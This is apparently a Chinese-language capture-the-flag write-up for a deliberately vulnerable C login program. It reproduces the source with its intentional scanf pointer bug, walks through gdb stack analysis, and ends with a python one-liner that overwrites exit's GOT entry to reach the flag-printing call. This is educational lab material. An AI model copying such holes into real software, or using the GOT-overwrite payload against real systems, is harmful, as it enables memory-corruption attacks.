#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
之前一直不能下载文件到本地，今天用了FlashFXP无意间可以下载到本地了 主要@前面的是用户名，之前一直不知道
image.png
从源代码分析看出来，在scanf的时候passcode1和passcode2没有加地址符号，所以会发现段错误，并且没有输入passcode2的机会，这是因为如果没有用取地址符，程序会使用栈上的数据作为指针存放输入的数据。
所以会发生错误。只能用gdb调试程序
image.png
首先我们进入welcome函数
image.png
看到ebp为0xffffcf88
然后调试到准备输入name的地方(gdb中ni是不进入调用函数中 而s是会进入调用函数中)，可以看到name的基址为ebp-0x70 ,接着我们同样进入login函数
image.png
ebp竟然还是0xffffcf88
同样调试到输入passcode1的地方
image.png
可以发现passcode1的基址是ebp-0x10
那么通过计算我们可以知道name和passcode1相差(0x70-0x10)=0x60即96个字节，所以我们通过name的最后4个字节指定passcode1的指针位置，然后结合scanf输入passcode1内容从而达到对指定地址的任意写
所以我们可以把exit在plt中的地址改成system读取flag的地址
image.png
通过plt表可知exit的地址为0x0804A018
image.png
而system读取flag函数的地址为0x080485E3 即把0x0804A018的改为0x080485E3，因为scanf的时候用的%d所以要把system的地址转换成十进制 system: 0x080485E3 == 134514147（十进制） ， 代码如下：
python -c "print ('a'*96+'\x18\xA0\x04\x08'+'\n'+'134514147\n')" | ./passcode
image.png
